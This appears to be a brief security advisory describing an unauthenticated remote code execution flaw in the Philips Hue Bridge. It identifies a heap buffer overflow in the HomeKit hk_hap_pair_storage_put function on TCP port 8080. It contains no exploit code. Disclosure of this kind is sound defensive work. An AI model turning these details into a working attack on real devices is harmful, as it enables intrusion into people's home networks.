This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Philips Hue Bridge. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the hk_hap_pair_storage_put function of the HomeKit implementation, which listens on TCP port 8080 by default. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer.
